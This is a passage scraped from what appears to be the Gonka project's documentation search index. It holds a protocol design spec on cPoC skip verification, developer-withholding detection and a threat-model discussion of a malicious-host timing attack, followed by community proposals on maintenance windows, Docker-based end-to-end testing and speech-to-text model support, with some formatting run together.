Setup: Some host H_i has signalled ready (either via CPoCProbeResponse(outcome = ready) carried in Diff at some nonce N_ready, or because Schedule(H_i, H) = idle across the last W_ready mainnet blocks that every verifier strictly confirms). The developer is nonetheless not routing real inference to H_i:
executor(n) = H_i (i.e. n mod N_slots = i), D keeps sending MsgSkipProbe(target = H_i) rather than MsgStartInference, orD stops emitting messages at H_i-slot nonces altogether while continuing to send to other slots.Observation (at each V). V counts, over a trailing window of W_fair rounds ending at the current nonce:
n_inf(H_i) = MsgStartInference entries with executor(n) = H_i,n_probe(H_i) = MsgSkipProbe entries targeted at H_i,H_i is ready (per ready_at[H_i] receipt or Schedule(H_i, H) = idle for every H ∈ [h_start_window, H(V)]).Violation predicate. ready(H_i) ∧ n_probe(H_i) + n_miss(H_i) ≥ θ_fair ∧ n_inf(H_i) < θ_min_inf — i.e. over the window, D sent probes or left H_i-slots empty at least θ_fair times while sending fewer than θ_min_inf real inferences to H_i, despite H_i being ready. Exact values (W_fair, θ_fair, θ_min_inf) are chain-parametrized (TBD; see Open questions).
Flow:
1. Diff[N_ready] : CarrySkip wrapping CPoCProbeResponse(outcome=ready) for H_i\n → every V records ready_at[H_i] = (N_ready, h_ready)\n\n2. Nonces N_ready+1 … N_ready+W_fair·N_slots advance:\n V tallies n_inf(H_i), n_probe(H_i) at H_i-slot nonces from Diff\n\n3. Violation predicate fires at V:\n V enters \"withholding-alert\" state for (D, H_i)\n\n4. Downstream enforcement: every V that is itself a future executor for D\n refuses to serve D's requests (returns a new p2p signal\n `RouteFairnessRefusal(D, H_i, evidence_refs)`) until:\n (a) D issues MsgStartInference(executor = H_i) AND H_i confirms it (MsgConfirmStart),\n OR\n (b) H_i re-enters cPoC (signals active/prepare via a fresh CPoCProbeResponse\n or via Schedule(H_i, H) transitioning back to {active, prepare}).\n\n5. When (a) or (b) holds, V clears the withholding-alert and resumes serving D.\nExpected verdict: **Invalid against the developer**, not against any host. Evidence: ready_at[H_i] receipt + the H_i-slot window of Diff showing probes / empty slots but no inference requests.
Why enforcement sits with \"next hosts\". The only actor that can credibly deny D further service is the host queued to execute D's next request. If those hosts refuse until D resumes fair routing, D has a direct economic incentive to stop withholding. No mainnet round-trip is required in the hot path; the decision is local at each V from the same Diff contents, so every honest host reaches the same alert.
Open parameters (deferred to Open questions):
W_fair, θ_fair, θ_min_inf thresholds.ready_at receipt decays after the host re-enters cPoC (presumably yes — once Schedule(H_i, H) = active again, old receipts are cleared).RouteFairnessRefusal and whether it also lands in Diff as evidence for slashing D's stake.Applicability: Only possible on low session load — specifically, when Diff contains no signed entries between R_req and N_carry that would otherwise tighten V's upper bound h_high on R_req's true height. On any session with concurrent inference traffic, intermediate entries auto-tighten the band and this attack surface closes by itself.
Setup. Schedule(H_i, h_req) = idle (host is not on cPoC at the moment R_req enters Diff). Immediately after R_req, session traffic goes quiet: D has no other inferences to submit. A malicious H_i then waits strategically for its next scheduled cPoC window to open at some height h > h_req, signs CPoCSkipResponse(R_req, active) during that later window, and relies on D's late CarrySkip landing far enough in the future that V's height interval I = [h_X, h_carry] contains h. Under ∃ H ∈ I semantics (Verdict predicate, step 3) the carried refusal now passes, even though the host was idle at h_req and therefore owed the developer real inference.
Flow (attack, without mitigation):
mainnet h_req : Diff[R_req] = MsgStartInference # H_i idle at h_req\n... quiet session; no intermediate Diff entries ...\nmainnet h+Δ : H_i enters cPoC at mainnet height h > h_req\n H_i → D : CPoCSkipResponse(R_req, active) # signed at height h (fresh lie)\nmainnet h_carry: Diff[N_carry] = CarrySkip(embeds above)\nV on ingest: h_X ≈ h_req; h_carry ≫ h_req\n I = [h_X, h_carry] — wide band, no intermediate stamp\n ∃ H ∈ I : Schedule(H_i, H) = active ⇒ step 3 passes → Valid (wrong)\nMitigation (developer heartbeat). When D has an outstanding R_req and no further inference to submit within the current round (R_req … R_req + N_slots), D SHOULD emit a lightweight heartbeat — a MsgSkipProbe targeted at the natural next slot executor(R_req + 1) — within ≈ 1 mainnet block of R_req. The heartbeat carries D's signed observed_height ≈ h_req, and the host's responding CPoCProbeResponse (carried back via a subsequent CarrySkip) carries the host's signed observed_height as well. Both stamps land in Diff at nonces > R_req, providing a tight upper bound h_high on R_req's true height.
Cadence — one heartbeat, one round, only while idle.
D emits the heartbeat once within the round of R_req. A single stamped entry is sufficient to tighten h_high; additional heartbeats add no verdict strength.R_req. Once the session advances past nonce R_req + N_slots (one full executor round), the band for R_req is already bounded from above by any signed entry in that window. D MUST NOT continue emitting heartbeats after the round closes — further ones no longer improve the verdict for R_req.D would otherwise leave Diff quiet. If D has real MsgStartInference traffic queued (any nonce in [R_req + 1, R_req + N_slots]), those entries already provide h_high via their own observed_height stamps — no heartbeat is emitted.Flow (mitigated):
mainnet h_req : Diff[R_req] = MsgStartInference(to H_i) # real request\nmainnet h_req+ε : Diff[R_req+1] = MsgSkipProbe(to H_{i+1}) # heartbeat — if no real follow-up\nmainnet h_req+ε' : H_{i+1} → D : CPoCProbeResponse(N_SP=R_req+1, …)\nmainnet h_req+ε\" : Diff[N_hb_carry] = CarrySkip(embeds the probe response)\n # observed_height stamps ≈ h_req\n... (D stops heartbeating; round closes) ...\nmainnet h_carry : Diff[N_carry] = CarrySkip(for the real R_req)\n\nV on ingest of Diff[N_carry]:\n h_X = height_at[X] (≈ h_req; lower bound)\n h_high = observed_height on earliest stamp in (≈ h_req+ε; heartbeat tightened)\n Diff[(R_req, N_carry)]\n band = [h_X, h_high] — collapses to ≈ {h_req}\n step 3 now evaluates against a near-point band:\n Schedule(H_i, h_req) = idle ⇒ Invalid (attack closed)\nInteraction with other cases.
H_i itself and H_i responds ready, the response contradicts its own later CPoCSkipResponse(R_req, active) — a double-claim analogous to the MsgConfirmStart vs. CPoCSkipResponse mutual-exclusion rule. Verdict is Invalid against H_i on sight, without needing the band to resolve.H_{i+1} (the natural case since R_req + 1's executor is H_{i+1}), C13's withholding detector MUST exempt heartbeat probes emitted while an R_req awaits verdict — the probe is height-sync machinery, not a sustained routing pattern. See Open questions.D fails to emit a heartbeat despite having no alternative traffic, the band stays wide and the fresh-lie attack succeeds under ∃ H ∈ I. The heartbeat is therefore a developer-side obligation, not a protocol-enforced one from the host's perspective; a careless or lazy D exposes itself to being lied to. This aligns incentives: heartbeating protects D's own payment for real work.Expected verdict: With the heartbeat in place, the same CPoCSkipResponse that would have strategically passed under a wide band now fails step 3 and is settled Invalid via the standard CPoCVote quorum (§ Consensus / voting). Without the heartbeat on a low-load session, the protocol's verdict fidelity degrades gracefully — the verdict is whatever ∃ H ∈ I returns on the wide band — and settlement-layer penalties on host withholding remain the only recourse.
Open parameters (deferred to Open questions):
R_req and the heartbeat (≈ 1 mainnet block is a suggestion; could be tighter or looser).MsgSkipProbe or a dedicated lightweight message without a response expectation. MsgSkipProbe is reused here because it already carries an observed_height and rides existing Diff wire formats, but a response-free variant is cheaper.Every verifier V computes the Verdict predicate (§ Data flow) independently against its local view of Diff and H(V). When Verdict ∈ {Invalid, Inconclusive-pending-confirmation} (or a C13 developer-withholding alert fires), V signs and emits a CPoCVote for that N_carry. For target = host(H_i), votes are addressed to D as collector (this release). For target naming D (C3′, C13), trusted aggregation is not specified here — see § Consensus / voting (optimistic gap until self-finalization). A verdict is settled for finalization only after a quorum of independent votes has been collected; an individual verifier's opinion, by itself, slashes nobody.
CPoCVote (new p2p message, then into finalization bundle)", "text": "Field Meaning N_carry Nonce of the CarrySkip this vote refers to (or, for C13, the earliest Diff reference in the evidence window). referenced_nonce R_req or N_SP, copied from the carry; lets the collector filter duplicates. target Kind-and-identity of the actor being voted against: host(H_i) for C2/C4/C6, carrier(D) for C3', developer(D) for C13. verdict Invalid (most common). Valid votes are implicit — honest verifiers simply don't emit a vote — so no Valid voting channel is required. reason_code Machine-readable pointer to which predicate step failed (schedule_fail, role_fail, causality_fail, double_claim_confirm_then_skip, double_claim_skip_then_confirm, withholding, height_confirmed_invalid, …). schedule_witness (H*, Schedule(H_i, H*)) for the height in I the verifier consulted, so the bundle is self-contained for slashing. signature Host signature under domain cPoCVoteContent (binds all fields above). A single CPoCVote is cheap; the flood size is bounded because only verifiers with a non-Valid local verdict emit one, and every one is a pointer into existing Diff entries.
D)", "text": "Host-fault cases (target = host(H_i) — C2, C2′, C4, C6, etc.). The developer D is the vote collector for this release:
D already owns the CarrySkip envelope and knows which N_carry the vote refers to.D is the economically interested party when a malicious host means D did not get served.Collection procedure:
V with a non-Valid verdict sends CPoCVote to D via p2p (optionally piggy-backed on the same channel that carries SkipEvidenceGossip).D aggregates distinct signatures until |votes(Invalid)| ≥ quorum_invalid.D attaches the bundle to finalization per FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md. The vote bundle is the input to slashing.Developer-target cases (target names D — C3′ forged carry, C13 withholding). D cannot be the trusted aggregator of votes that would slash or dispute D. Normative intent: once self-finalization is implemented, CPoCVotes for these targets MUST be collected and aggregated in the finalization round (the same developer-independent path as other settlement), not by D.
This release — optimistic gap. The protocol does not specify a collector for developer-target votes. We assume D behaves honestly when forwarding or aggregating evidence in practice, or that C3′/C13 Invalid outcomes are out-of-band rare; malicious D censoring or withholding CPoCVotes against itself is a known uncovered negative case, scheduled for closure when self-finalization lands. Verifiers still emit CPoCVote with target = developer(D) / carrier(D) as specified; only the trusted aggregation path is deferred.
Future release (self-finalization). When the finalization round aggregates CPoCVote without relying on D:
V still emits CPoCVote on the standard channel; wire format unchanged.D for any target.D stops sending traffic and never submits a vote bundle\" for host-fault cases.Exact values — quorum_invalid (e.g. simple-majority vs. 2/3 stake-weighted), tie-break rules, stake weighting, and the mapping from votes to mainnet slashing amounts — must match the finalization / slashing layer. These are chain-parametrized and deferred to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md and the mainnet slashing spec. This doc only guarantees:
V reaches the same verdict from the same Diff + strictly-confirmed height slice (by construction of the Verdict predicate).CPoCVote includes the schedule_witness and is auditable at finalization time (a dishonest vote is itself slashable).**PoC_slot_set provenance:** set at escrow init (immutable) vs queried post-init and cached. Different failure modes.**prepare policy:** is skip allowed while Schedule = prepare (treat like active) or forbidden (treat like idle)? Chain-spec flag skip_allowed_during_prepare.cPoCRefusalContent (host signature on CPoCSkipResponse, binds inference_id + reference_nonce + reason), cPoCProbeResponseContent (host signature on CPoCProbeResponse, binds probe_nonce + reference_nonce + outcome), CarrySkipContent (developer signature on CarrySkip, binds N_carry + referenced_nonce + payload_kind + host_response bytes), and the signing input for MsgSkipProbe (binds probe_nonce = N_SP + target_host_id).Diff-refs, signatures, schedule-witness); shared with FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.(W_fair, θ_fair, θ_min_inf) for the developer-withholding predicate: how many H_i-slot nonces of probes / empty slots vs. real inferences, over how many rounds, qualify as misbehavior? Must be tuned so that legitimate brief probing (e.g. a single confirmation probe right after ready before resuming inference) does not trigger alerts.**ready_at lifecycle.** When exactly does a ready receipt for H_i expire? Candidates: (a) on the first strictly-confirmed Schedule(H_i, H) ∈ {active, prepare} after the receipt; (b) on any subsequent non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried in Diff; (c) a hard TTL in mainnet heights. Likely all three with (a) ∨ (b) ∨ (c).**RouteFairnessRefusal surface.** Is this purely a p2p refusal signal between hosts, or must it also land in Diff as a signed artefact so mainnet can slash D? If the latter, it becomes another SubnetTx variant and needs its own signing domain.MsgSkipProbe → p2p response → CarrySkip roundtrip be eliminated by letting D place a D-signed unilateral-skip marker (e.g. MsgCPoCSkipMarker(nonce, target_host = H_i, basis = {N_prev_carry, h_prev})) at H_i's slot nonce and routing the real MsgStartInference to the next slot? Requires (i) wire format for the marker and its signing domain; (ii) a freshness rule keyed to a prior CarrySkip for H_i — the marker is valid only while the schedule-implied cPoC window referenced by N_prev_carry has not expired at V's current height; (iii) a per-evidence cap on consecutive unilateral skips so a single old CarrySkip can't authorize indefinite skipping; (iv) reconciling with ready_at[H_i] and the C13 detector — a ready receipt invalidates outstanding marker authority immediately. Explicitly out of scope for the current release.quorum_invalid (simple majority vs. 2/3 stake-weighted), whether votes are counted per-host or stake-weighted, tie-break rules, and a liveness timeout for the collector to declare \"no quorum reached, treat as Valid\" are chain-parametrized and deferred to the finalization / slashing spec.CPoCVote without relying on D, we need: (i) a deterministic boundary condition that triggers vote aggregation (block height, session sealing, etc.); (ii) explicit ingestion of CPoCVote with target = developer(D) / carrier(D) (C3′, C13) so aggregation is not left to D; (iii) handling for late-arriving votes across the boundary; (iv) a migration story so older nodes that still send host-fault votes to D compose with the new collector. The wire format of CPoCVote itself should not need to change — only the aggregation destination. This closes the optimistic gap documented in § Consensus / voting (malicious D censoring votes against itself). Explicitly out of scope for the current release.R_req and the heartbeat (≈ 1 mainnet block proposed; tune against network latency). (ii) Whether the heartbeat reuses MsgSkipProbe or justifies a dedicated response-free lightweight SubnetTx variant (which would bind only D's signed observed_height and incur no p2p roundtrip). (iii) Carve-out rule in C13's withholding tally for probes emitted while an R_req awaits verdict, so a legitimate heartbeat doesn't count as withholding from H_{i+1}. (iv) Whether observed_height fields are strictly required on MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip for verifier determinism, or whether V's own height_at[·] stamps suffice in practice — i.e. is C14's closure structurally in the wire format or operationally via heartbeats on top of today's messages.W_seal. Default proposed at ≈ 2 mainnet blocks (matching timeout_skip_gossip). Needs to be tuned against (i) realistic MsgConfirmStart arrival latency after a CarrySkip, (ii) how long verifiers can reasonably buffer pending_verdicts entries in the provisional state, (iii) whether settlement-layer slashing for post-seal confirm-then-skip contradictions is strong enough to treat the seal closure as a true bound. If not, consider extending W_seal or allowing a bounded number of post-seal flips recorded as \"late evidence\" rather than verdict changes.MsgConfirmStart when CarrySkip(payload_kind = skip_response) for the same inference_id already exists in Diff (and vice versa) is a MUST or a SHOULD. MUST simplifies verdict reasoning (step 2 scan becomes a residual safety net for the race window only) but creates a harder dependency on every ingest pipeline behaving identically; SHOULD keeps the predicate as the sole source of truth but leaves the ingest rule as an opportunistic optimization. Tie-break also affects how implementations handle a genuine race in which both messages are valid at their own arrival times.H(V) as a black-box oracle.Invalid verdicts, decides inclusion in finalization bundles.🔄 Auto-sync: from Discussion #1309 every hour.
"}, {"location": "community/discussion/proposals/1309-design-and-implementation-of-maintenance-windows/#design-and-implementation-of-maintenance-windows", "title": "Design and Implementation of Maintenance Windows", "text": "Автор: @heitor-lassarote · Категория: Proposals · Создано: 2026-06-05 16:40 UTC · Обновлено: 2026-06-09 16:54 UTC
"}, {"location": "community/discussion/proposals/1309-design-and-implementation-of-maintenance-windows/#_1", "title": "📝 Описание", "text": "Hello. After reading the Gonka Community Network Roadmap, we’ve seen project 2 in track 3 entitled “Maintenance windows for hosts”, which as of 2026-03-06 has the following description (copied and pasted here):
The project should give a host a way to declare a maintenance window in advance, check whether the maintenance window is allowed, temporarily step out of part of its duties, and return to service without separate coordination and without being penalized for planned downtime.
Metrics:
What this gives the network:
The network gets a formal maintenance-window process that separates planned downtime from unplanned failures and reduces avoidable misses, penalties, and disputes.
A possible high-level design outline for this project may look like the following:
MsgSetScheduledMaintenance, allowing the host to schedule expected maintenance downtime and broadcast it to the mainnet. The exact fields in this message are up for debate, but it should at least contain a timestamp for when the maintenance begins (e.g.: maintenance_start_timestamp).DRAINING prior to the maintenance (host will finalize their ongoing sessions but won’t participate in new ones) and to MAINTENANCE (the host is temporarily offline due to scheduled maintenance). There might be the necessity for more statuses and transitions in this state machine, which should be researched.DRAINING time may be tuned, but a good start may be for example, at least for an entire epoch, as a devshard session currently can’t cross the epoch boundary.MsgSetScheduledMaintenance, to prevent abuse.MsgFinishScheduledMaintenance.MsgCancelScheduledMaintenance.MsgFinishScheduledMaintenance should be sent during the scheduled maintenance window to let the participant close the window and resume its ordinary activities, while MsgCancelScheduledMaintenance should be sent before the scheduled maintenance window to prevent it from ever beginning.There are still some open questions and considerations that need research with this design:
We would like to offer a team to refine the idea and design and begin work on this project. A tentative plan for the team should look like the following:
2026-06-09 16:21 UTC
We have an implementation of this feature already out for review and testing: https://github.com/gonka-ai/gonka/pull/998
↳ Ответ от @heitor-lassarote · 2026-06-09 16:54 UTC
I see, thank you for bringing this to my attention. I'll close this discussion, then.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/", "title": "#1334 — Devshard E2E Test Automation Proposal", "text": "🔄 Auto-sync: from Discussion #1334 every hour.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#devshard-e2e-test-automation-proposal", "title": "Devshard E2E Test Automation Proposal", "text": "Автор: @aikuznetsov · Категория: Proposals · Создано: 2026-06-10 19:23 UTC · Обновлено: 2026-06-12 13:36 UTC
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#goal", "title": "Goal", "text": "Build a real integration test layer for devshard that runs from Go tests but validates the system across Docker containers, real HTTP networking, real process boundaries, and real storage.
This suite should complement the existing unit, package, and httptest tests. Those tests remain the fast correctness layer. The E2E suite verifies that the same protocol works when the pieces are started, wired, restarted, and failed like real services.
The test runner is Go. The runtime is Docker.
The suite should not depend on a live Cosmos chain, Testermint, or decentralized-api. Chain-facing metadata is served by a local mock service. Inference and validation use deterministic stub engines unless a scenario explicitly opts into a different backend.
Out of scope for the first version:
Those can be added later as separate profiles once the core protocol E2E layer is stable.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#test-tools-and-frameworks", "title": "Test Tools And Frameworks", "text": "The first E2E implementation should keep the toolchain small and Go-native.
Recommended tools:
Area Tool Role Test runner Gotesting Owns scenario execution, assertions, setup, teardown, and CI integration. Containers testcontainers-go Starts Docker networks, containers, exposed ports, volumes, and readiness checks from Go. Assertions stretchr/testify Keeps E2E checks readable and consistent with existing devshard tests. HTTP client Go net/http plus devshard clients Drives devshardctl, host transport routes, mock-chain controls, and diagnostic endpoints. JSON handling Standard encoding/json or existing devshard JSON helpers Parses OpenAI-compatible responses, control responses, and settlement payloads. Docker images Explicit make targets Builds images before tests run; individual tests select prebuilt images and fail fast if missing. Database Testcontainers Postgres module Runs the smoke storage backend and deeper recovery scenarios. Logs Docker/testcontainers log capture Collects container logs on test failure for diagnosis. Tools to avoid in the first version:
testcontainers-go gives each Go test direct control over networks, containers, ports, logs, restarts, and cleanup. Compose can still be useful later for manual reproduction.mock-chain covers the bridge contract needed by devshard.Each test starts an isolated Docker network. The Go test process stays outside the network and controls the environment through Docker APIs and mapped service ports.
The default smoke environment should spin up:
mock-chain containerdevshard-host-N containersdevshardctl containerpostgres containerStorage and fault scenarios add containers or volumes as needed:
flowchart LR\n TestRunner[\"Go E2E test runner\"]\n Docker[\"Docker / testcontainers-go\"]\n Client[\"HTTP assertions\"]\n\n subgraph Net[\"isolated Docker network\"]\n MockChain[\"mock-chain\\nchain metadata + control API\"]\n DevshardCtl[\"devshardctl\\nOpenAI-compatible API\"]\n\n Host0[\"devshard-host-0\\nslot 0\"]\n Host1[\"devshard-host-1\\nslot 1\"]\n Host2[\"devshard-host-2\\nslot 2\"]\n\n Postgres[\"postgres\\nsmoke storage backend\"]\n Vol0[(\"host-0 SQLite volume\")]\n Vol1[(\"host-1 SQLite volume\")]\n Vol2[(\"host-2 SQLite volume\")]\n end\n\n TestRunner --> Docker\n TestRunner --> Client\n Client --> DevshardCtl\n Client -.direct protocol checks.-> Host0\n Client -.direct protocol checks.-> Host1\n Client -.direct protocol checks.-> Host2\n\n DevshardCtl --> Host0\n DevshardCtl --> Host1\n DevshardCtl --> Host2\n\n Host0 <-->|gossip| Host1\n Host1 <-->|gossip| Host2\n Host2 <-->|gossip| Host0\n\n Host0 --> MockChain\n Host1 --> MockChain\n Host2 --> MockChain\n DevshardCtl --> MockChain\n\n Host0 --> Postgres\n Host1 --> Postgres\n Host2 --> Postgres\n\n Host0 -.sqlite profile.-> Vol0\n Host1 -.sqlite profile.-> Vol1\n Host2 -.sqlite profile.-> Vol2Container inventory:
Container Required Count Purposemock-chain yes 1 Serves escrow, participant, epoch, version, and warm-key metadata. Provides dev-only control APIs for metadata faults. devshard-host-N yes 3 by default Runs one real devshard participant per slot with transport, gossip, storage, signing, and stub engines. devshardctl yes for smoke 1 Exposes the OpenAI-compatible user API and drives the normal user-facing path. postgres yes 1 Provides the default smoke storage backend and production-like recovery coverage. SQLite volumes no 1 per host Preserve host-local state across container restarts in SQLite recovery scenarios. The first implementation should standardize on a three-host group because many protocol behaviors need a majority-like shape: executor rotation, timeout votes, signature accumulation, and gossip convergence. The harness can expose Hosts: N later for stress or edge-case tests.
Each E2E environment starts an isolated Docker network and a small set of services.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#mock-chain", "title": "mock-chain", "text": "mock-chain is a local metadata service that implements the subset of mainnet bridge behavior needed by devshard.
The first implementation should match the current REST bridge shape exactly. That keeps E2E focused on validating the bridge contract devshard already uses instead of adding a second mock-only API. A cleaner internal control API can be added alongside the REST-compatible endpoints later, but protocol setup and recovery should continue to exercise the same paths as production code.
It serves deterministic local config for:
It should also expose a dev-only control API for test scenarios:
devshard-host-N", "text": "Each host container runs one participant. The process should use the real devshard host, transport, signing, storage, gossip, and state machine code.
Configurable inputs:
The host should expose the standard devshard transport routes, mounted under either the legacy route prefix or a versioned prefix:
/v1/devshard/*\n/devshard/<version>/*\ndevshardctl", "text": "The suite should include scenarios that drive requests through the OpenAI-compatible devshardctl surface. This validates the user-facing path:
client -> devshardctl -> devshard transport clients -> host containers\nSome lower-level scenarios can talk directly to host transport endpoints when that makes the assertion clearer, but the smoke suite should use devshardctl.
postgres", "text": "Postgres is part of the smoke environment and should be the default storage backend for CI smoke tests. SQLite remains useful for local restart tests and single-host persistence edge cases.
Storage scenarios should cover:
The E2E suite needs runnable commands that are small wrappers around existing devshard packages.
Recommended commands:
devshard/cmd/devshardd/\n main.go\n\ndevshard/cmd/mock-chain/\n main.go\ndevshardd", "text": "devshardd runs one host participant.
For the first E2E implementation, devshardd should be an E2E-only command. It should not be treated as a production binary yet. This keeps the first iteration focused on integration validation, while leaving room to harden and promote the command later if it becomes the right production shape.
It should wire:
For E2E, devshardd can start with stub inference and validation engines. The important point is that the protocol runtime itself is real.
mock-chain", "text": "mock-chain serves local metadata and deterministic control behavior. It should start as a simple HTTP server matching the current REST bridge shape. If devshard later moves to a different chain client protocol, the mock should follow that boundary.
Deterministic fault injection should be part of the test design from the beginning. Without it, timeout and recovery tests become slow and flaky.
The first control surface should support:
Fault controls must be disabled unless the process is started in explicit test mode.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#scenario-set", "title": "Scenario Set", "text": ""}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#smoke-scenarios", "title": "Smoke Scenarios", "text": "Smoke scenarios should be reliable and fast enough for every CI run.
Start three hosts and devshardctl. Send several non-streaming chat completion requests. Finalize the session. Assert the settlement output is present and all hosts agree on the final state.
Send a streaming chat completion request through devshardctl. Assert the client receives content chunks and [DONE]. Assert devshard protocol receipt/meta events are handled internally and do not corrupt the OpenAI-compatible stream.
Send a protected host request signed by an unauthorized key. Assert the request is rejected with an authorization error.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#protocol-scenarios", "title": "Protocol Scenarios", "text": "Submit work while all hosts are running. Assert nonce, mempool, and signature data propagate between participants and converge.
Let one host miss earlier diffs, then send it a later request with catch-up diffs. Assert it reaches the same state root as the rest of the group.
Configure the selected executor to fail or hang. Assert timeout votes are collected, the timeout transaction is applied, and the session can continue or finalize according to protocol rules.
Withhold or lose the executor response path, then challenge the executor for a receipt. Assert the receipt is valid and the user session can process it.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#recovery-scenarios", "title": "Recovery Scenarios", "text": "Run several inferences, restart one host container with its SQLite volume preserved, continue the session, and finalize. Assert there is no nonce regression and the restarted host signs the final state.
Run the happy path with Postgres storage enabled. Restart all hosts and continue the session. Assert state recovery from Postgres works and finalization succeeds.
All-host restart before finalization
Run several inferences, stop every host, restart them, then finalize. Assert persisted diffs and signatures are sufficient to recover.
Legacy route prefix
Run a session through /v1/devshard/* and assert the stored session version is v1.
Versioned route prefix
Run a session through /devshard/<version>/* and assert the stored session version is the selected version.
Version conflict
Create or recover the same escrow under one version, then attempt to attach the same escrow under a different version. Assert storage rejects the conflict.
Warm key authorization
Configure a warm key grant in mock-chain. Assert the warm key can authenticate where allowed and is rejected after the grant is removed or when used for the wrong participant.
Bridge metadata failure
Inject a bridge metadata error during session creation or recovery. Assert the host fails ready or returns the expected service-unavailable response.
E2E tests should avoid asserting only HTTP status codes. Useful protocol-level assertions include:
Until the E2E suite submits settlement to a live chain, the stable settlement contract should be the protocol commitment needed for chain-side verification.
Baseline settlement assertions should cover:
Economic fields such as token accounting, fees, remaining balance, host costs, missed counts, and validation penalties should be asserted only in dedicated accounting scenarios. They should not be part of the baseline smoke settlement contract until the chain submission path is part of the E2E suite.
"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#ci-tiers", "title": "CI Tiers", "text": "Use focused go test runs rather than one large undifferentiated suite. CI should build the required Docker images through explicit make targets before running the E2E suite. The Go tests should select already-built images rather than building images per test run.
Example targets:
make devshard-e2e-images\ngo test ./devshard/e2e -run TestE2E_Smoke -count=1\ngo test ./devshard/e2e -run TestE2E_Protocol -count=1\ngo test ./devshard/e2e -run TestE2E_Storage -count=1\ndevshard-e2e-images should be an explicit build target that produces the images used by the tests, including mock-chain, devshard-host, and devshardctl. The E2E tests should fail fast if those images are missing instead of silently rebuilding them inside individual test cases.
Recommended tiers:
Tier Purpose Typical scenarios Smoke Fast CI confidence with Postgres enabled happy path, streaming, auth rejection Protocol Main protocol coverage gossip, catch-up, timeout, receipt challenge Storage Deeper persistence coverage SQLite restart, Postgres restart, all-host restart Versioning Route/version safety legacy route, versioned route, version conflict Fault Slower failure coverage delayed hosts, bad hashes, bridge faults"}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/proposals/1334-devshard-e2e-test-automation-proposal/#1-a-kuprin", "title": "Комментарий 1 — @a-kuprin", "text": "2026-06-12 13:36 UTC
@aikuznetsov Please take a look on this: https://github.com/a-kuprin/gonka/blob/1f0933ad9136cfbcf7070f8210e2c6694731ebaf/devshard/docs/proposals/TESTENV_PROPOSAL.md
It is using multiple devshardd, 1 devshardctl, 1 dapi-mock and 1 mock-chain dockers and doesn't use chain.
It even already used for testing new height-sync protocol for devshard: https://github.com/gonka-ai/gonka/pull/1209
The difference is that actually decentralized-api is used (but mock for protocol). decentralized-api is the MLServer - serving nodes, and also oracle for parameters and height.
Also I had some thoughts on more high-level scripting over test-environment for creating test plans: https://github.com/a-kuprin/gonka/blob/devshard-testenv/devshard/docs/proposals/PROTOCOL_TESTING_PROPOSAL.md
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/", "title": "#1335 — Add support for speech-to-text (ASR) models", "text": "🔄 Auto-sync: from Discussion #1335 every hour.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#add-support-for-speech-to-text-asr-models", "title": "Add support for speech-to-text (ASR) models", "text": "Автор: @ivan-smetannikov-serokell · Категория: Proposals · Создано: 2026-06-11 15:22 UTC · Обновлено: 2026-06-22 17:28 UTC
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#_1", "title": "📝 Описание", "text": "Hello. We're a team at Serokell and we'd like to take on the ASR (speech-to-text) integration. We're scoping this proposal to ASR specifically (TTS is a separate problem and we're leaving it aside here). Below: why ASR is a good fit and which models, where inference validation gets hard, PoC and network-load impact, and our proposed plan.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#why-asr-and-which-models", "title": "Why ASR, and which models", "text": "ASR is a good first audio modality for Gonka for three reasons. First, as far as we know, no decentralized network offers incentivized ASR today, so the slot looks open, and transcription is an established commercial market. Second, it's additive on the hardware the network already runs: ASR models are light relative to the current LLMs, so a datacenter-class GPU serves transcription at high throughput, which makes ASR a new modality and revenue stream on hardware hosts already run. As a side benefit, a relatively homogeneous server-GPU fleet makes the cross-hardware logprob-stability question potentially easier since most honest replays happen on similar silicon. And if the network ever broadens to smaller models, ASR's light footprint is easier to handle for new hosts. Third, the output is a token sequence, which is the precondition for reusing Gonka's logprob-distance validation at all.
That third point carries an architectural constraint the discussion should be explicit about. Modern ASR splits into three families:
enforced_tokens teacher-forcing. Validating them would need a different metric (lattice/forced-alignment scoring), i.e. a separate research effort and out of scope, at least for now.So the fastest ASR architecture is precisely the one Gonka cannot cheaply validate. Our recommended candidates for now are Qwen3-ASR-1.7B as the primary target (SOTA-open accuracy, ~1.6%/3.4% WER on LibriSpeech test-clean/test-other, Apache-2.0, supported by vLLM's transcription endpoint, and an LLM-style decoder that matches the existing validation machinery) and Whisper-large-v3 as an open baseline (MIT, widely used, ~2.0%/3.6% WER) for cross-GPU threshold calibration that the wider community can independently reproduce. In theory, a single enforced_tokens port covers both, since both are autoregressive-decoder models. If filling a large GPU more fully is a priority, heavier audio-LLMs like Voxtral-Small-24B exist, though the accuracy leaders are small, so the better use of big hardware here is high-batch throughput.
Most of the work, and the one open technical unknown, is in this section.
Only the serving layer exists today. The Gonka vLLM fork already ships a speech_to_text/ module implementing /v1/audio/transcriptions, but that is upstream vLLM code. So you can serve a transcript but what's missing is everything that turns serving into a Gonka network modality: running a model and proving it was run honestly, routing paid requests to it, and rewarding the work:
